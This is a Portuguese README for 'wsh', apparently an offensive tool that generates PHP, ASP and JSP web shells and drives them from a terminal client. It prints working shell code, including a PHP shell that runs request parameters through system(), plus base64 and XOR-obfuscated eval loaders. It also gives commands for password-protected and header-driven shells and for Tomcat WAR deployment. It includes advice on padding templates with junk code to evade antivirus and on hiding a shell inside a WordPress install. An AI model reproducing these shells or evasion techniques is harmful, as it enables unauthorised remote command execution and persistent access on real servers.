
Gerador de web shell e interface de linha de comando.
wsh (pronuncia-se woosh) é um gerador de web shells e interface de linha de comando. Inicialmente era apenas um cliente HTTP, pois interagir com webshells é uma chatice. Existe um formulário: para enviar um comando, é preciso digitar em uma caixa de entrada e pressionar um botão. Eu queria algo que se adequasse melhor ao meu fluxo de trabalho e funcionasse no terminal. Assim nasceu o wsh.
O cliente oferece histórico de comandos, registro em log e pode ser configurado para interagir com um webshell padrão previamente implantado com formulário/botão. O gerador cria webshells em php, asp e jsp. Eles são gerados com variáveis aleatórias, portanto cada um terá um hash único. Podem ser configurados com lista de permissões, senhas e permitem o envio de comandos por cabeçalhos e parâmetros personalizados. O gerador e o cliente podem ser configurados por meio de flags de linha de comando ou arquivos de configuração, permitindo salvar uma configuração que funcione para você sem precisar fazer o que chamo de "dança do --help". Uma vez configurados, o cliente e o gerador usam o mesmo arquivo de configuração.
wsh <URL> [flags]
-X, --method string Método HTTP: GET, POST, PUT, PATCH, DELETE (padrão "GET")
--param string Parâmetro para enviar comando
--header string Cabeçalho para enviar comando
-P, --params strings Parâmetros da requisição HTTP
-H, --headers strings Cabeçalhos da requisição HTTP
-c, --config string Arquivo de configuração
-k, --ignore-ssl Ignorar certificados inválidos
--log string Arquivo de log
--prefix string Prefixo do comando: 'cmd /c', 'powershell.exe', 'bash'
--timeout int Tempo limite da requisição em segundos (padrão 10)
--trim-prefix string Remover prefixo da saída
--trim-suffix string Remover sufixo da saída
-h, --help ajuda para wsh
wsh generate <language> [flags]
wsh g <language> [flags]
-X, --method string Método HTTP (GET,POST,PUT,PATCH,DELETE) (padrão "GET")
-p, --param string Parâmetro para enviar comando
--header string Cabeçalho para enviar comando
-w, --whitelist strings Endereços IP para incluir na lista de permissões
-o, --outfile string Arquivo de saída
--no-file Desabilitar capacidades de upload/download de arquivos
--pass string Proteger shell com senha
--pass-header string Cabeçalho para enviar senha
--pass-param string Parâmetro para enviar senha
--xor-header string Cabeçalho para enviar chave XOR
--xor-key string Chave para criptografia XOR
--xor-param string Parâmetro para enviar chave XOR
--base64 Codificar shell em Base64
--minify Minificar código do webshell
-t, --template string Arquivo de template do webshell
-h, --help ajuda para generate
Eu queria que o cliente fosse independente de linguagem, então todos os webshells precisavam implementar a mesma lógica de upload/download. Infelizmente, é chato fazer uploads multipartes nativamente em jsp e asp clássico, então os arquivos são enviados como base64 em um parâmetro. Isso não é ideal, pois o tamanho máximo de upload de arquivo fica limitado ao tamanho máximo do parâmetro. No futuro, posso tentar implementar uploads multipartes ou fazer múltiplas requisições para transferir arquivos maiores.
$ wsh 127.0.0.1:8080/test.php --param cmd
127.0.0.1> help
get <remote filepath> [local filepath] Baixar arquivo
put <local filepath> [remote filepath] Enviar arquivo
clear Limpar tela
exit Sair do shell
Os comandos a seguir geram e interagem com um shell php simples.
$ wsh generate php --param cmd --no-file -o shell.php
Created shell at shell.php.
$ wsh 127.0.0.1:8080/shell.php --param cmd
<?php
$MfOb = $_REQUEST['cmd'];
$MfOb = trim($MfOb);
system($MfOb);
die;
?>
Comandos também podem ser enviados por cabeçalhos HTTP
$ wsh generate php --no-file --header user-agent -o shell.php
Created shell at shell.php.
$ wsh 127.0.0.1:8080/shell.php --header user-agent
$ wsh generate php --no-file --param cmd -w 127.0.0.1,10.0.23.3 -w 12.4.22.3 -o shell.php
As senhas podem ser enviadas por parâmetros ou cabeçalhos.
$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-param pass
$ wsh 127.0.0.1:8080/shell.php --param cmd -P pass:S3cr3t
$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-header pass-header
$ wsh 127.0.0.1:8080/shell.php --param cmd -H pass-header:S3cr3t
Esta funcionalidade é interessante, mas pode exigir alguma modificação dos templates para se tornar útil. No caso do asp e jsp, as bibliotecas que facilitam a decodificação base64 são IOCs conhecidos e serão sinalizadas. Se você estiver interessado em usar essas funcionalidades, recomendo modificar o template e ofuscar.
Assim como na proteção por senha, a chave XOR pode ser enviada por um parâmetro ou cabeçalho.
$ wsh g php --param cmd --no-file --base64
<?php
eval(base64_decode('JEZISENTPSRfUkVRVUVTVFsnY21kJ107JEZISENTPXRyaW0oJEZISENTKTtzeXN0ZW0oJEZISENTKTtkaWU7'))
?>
$ wsh g php --param cmd --no-file --xor-key S3cr3tK3y --xor-param X-Key
<?php
$KHhx = $_REQUEST["X-Key"];
$LqC = base64_decode("d2MPPUdJb2wrFmI2N2AgEBQaPldELwhQG182Jw4XAFoZYxcpP3wXWwgHMkANNl5LVmMYBEdQaFcKFwg=");
$oooqt = "";
for($YpuI=0; $YpuI<strlen($LqC); ) {
for($cMq=0; ($cMq<strlen($KHhx) && $YpuI<strlen($LqC)); $cMq++,$YpuI++) {
$oooqt .= $LqC{ $YpuI } ^ $KHhx{ $cMq };
}
}
eval($oooqt);
?>
Para gerar um webshell que possa ser implantado no tomcat, crie um shell jsp chamado index.jsp e execute o comando abaixo para compactá-lo em um arquivo war.
Ocasionalmente, o ambiente tomcat não possui as bibliotecas necessárias para upload/download de arquivos e o shell apresentará erro quando uma requisição for feita. Para resolver isso, use a flag --no-file.
$ wsh g jsp --param cmd --no-file -o index.jsp
$ jar -cvf shell.war index.jsp
Usar a biblioteca de templates do Go adiciona muita flexibilidade ao gerador. Ocasionalmente, um webshell será detectado por antivírus; no entanto, descobri que adicionar um monte de código aleatório no arquivo de template muitas vezes faz o shell parecer benigno o suficiente para permitir sua persistência no disco. Incluí um exemplo no arquivo templates/covert-php.tml.
Além disso, você pode modificar esses templates para incluir seu nome/informações de contato para atribuição no caso de uso em um teste de penetração.
Um prefixo pode ser especificado para pré-configurar uma string a cada comando enviado ao shell. Isso pode ser usado para transformar um shell cmd normal em um shell powershell.
$ wsh http://10.0.0.27/shell.asp --param cmd --prefix powershell.exe
10.0.0.27> ls
Directory: C:\windows\system32\inetsrv
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/27/2020 11:49 PM config
d----- 5/27/2020 11:49 PM en
d----- 5/28/2020 12:25 AM en-US
-a---- 5/27/2020 11:49 PM 119808 appcmd.exe
Os logs são carimbados com data/hora e incluem o host com o qual está interagindo. Arquivos de log são anexados, então sinta-se à vontade para usar o mesmo arquivo de log para múltiplas sessões/hosts.
127.0.0.1:8080/shell.php --param cmd --log localhost.log
Logging to: localhost.log
127.0.0.1> ls
README.md
cmd
example-configs
...
[04/20/2020 12:02:17] 127.0.0.1> ls
README.md
cmd
example-configs
O cliente pode ser configurado para remover conteúdo HTML supérfluo de uma requisição; isso é útil ao interagir com webshells de interface HTML padrão, ou talvez se um shell gerado estiver sorrateiramente incorporado em uma instalação WordPress.
$ wsh 127.0.0.1:8080/index.php -X POST --param cmd
127.0.0.1> ls
. . .
<div class="pb-2 mt-4 mb-2">
<h2> Output </h2>
</div>
<pre>
README.md
cmd
example-configs
index.php
main.go
templates
</pre>
</div>
. . .
$ wsh 127.0.0.1:8080/index.php -X POST --param cmd --trim-prefix '<pre>' --trim-suffix '</pre>'
127.0.0.1> ls
README.md
cmd
example-configs
index.php
main.go
templates